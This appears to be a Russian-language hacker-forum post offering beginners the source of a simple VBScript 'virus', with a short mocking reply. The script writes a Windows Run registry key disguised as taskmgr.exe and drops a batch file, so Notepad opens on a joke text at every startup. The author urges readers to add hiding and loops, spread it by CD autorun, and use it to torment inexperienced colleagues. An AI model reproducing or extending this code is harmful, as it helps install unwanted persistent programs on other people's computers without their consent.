Вирь можно сказать простенький, Достал!.vbs
Тестим:
QUOTE
'Ваня представляет супер нарулный вирус.!!
Set WSHShell=WScript.CreateObject("WScript.Shell")
WSHShell.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\taskmgr.exe", "c:\System.bat"
Set xep =CreateObject("Scripting.FilesystemObject")
set xep =xep.CreateTextFile("c:\System.bat")
xep.WriteLine "notepad.exe c:\1.txt"
xep.close
Set xep =CreateObject("Scripting.FilesystemObject")
set xep =xep.CreateTextFile("c:\1.txt")
xep.WriteLine "Долбанный хеллоу ворлд!"
xep.close
Set WSHShell=WScript.CreateObject("WScript.Shell")
WSHShell.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\taskmgr.exe", "c:\System.bat"
Set xep =CreateObject("Scripting.FilesystemObject")
set xep =xep.CreateTextFile("c:\System.bat")
xep.WriteLine "notepad.exe c:\1.txt"
xep.close
Set xep =CreateObject("Scripting.FilesystemObject")
set xep =xep.CreateTextFile("c:\1.txt")
xep.WriteLine "Долбанный хеллоу ворлд!"
xep.close
Ну естесно всё что после "'" не учитывается.
Потом скрипт создаёт запись в реестре, в разделе run, которая
запускает System.bat на диске Ц.
Далее создаётся сам System.bat на диске Ц с произвольным
содерданием "notepad.exe c:\1.txt". Дальше больше моей фантазии... =)))
На диске Ц создаётся документ 1.txt =)))))))) с содержанием
"Долбанный хеллоу ворлд!" или по вашему желанию.
На этом, моя извращённая фантазия исчерпывается пока =))
В итоги, мы имеем после запуска скриптика
постоянный запуск блокнота при старте винды с надписью "
Долбанный хеллоу ворлд!" ухишьрения, циклы, прятанья и остальное
оставляю вам. Поиздевайтесь над не опытными сокалегами.
Например можно приписать скрипт autorun-на компакт диска,
запускающего данный скрипт vbs.
Писал, специально для новечков. Думаю всё понятно и максимально
просто, что даёт вводные знания о системе скриптов винды. Юзаем =)
.Текстовый файл - три, ключ реестра - четыре. Итого 4 файла.А почему не 15 ? 
Если честно, то больше однго файла для виря уже критично много. Я уж не буду говорить, что вирь прописывается в Автозагрузку, которая сечеться Мс-конфигом, о том что каждый раз будет выскакивать ДОС-окно и т.д.
)
А еще есть прямые руки, которые сразу создают бинарник, а не извращаются со скриптами 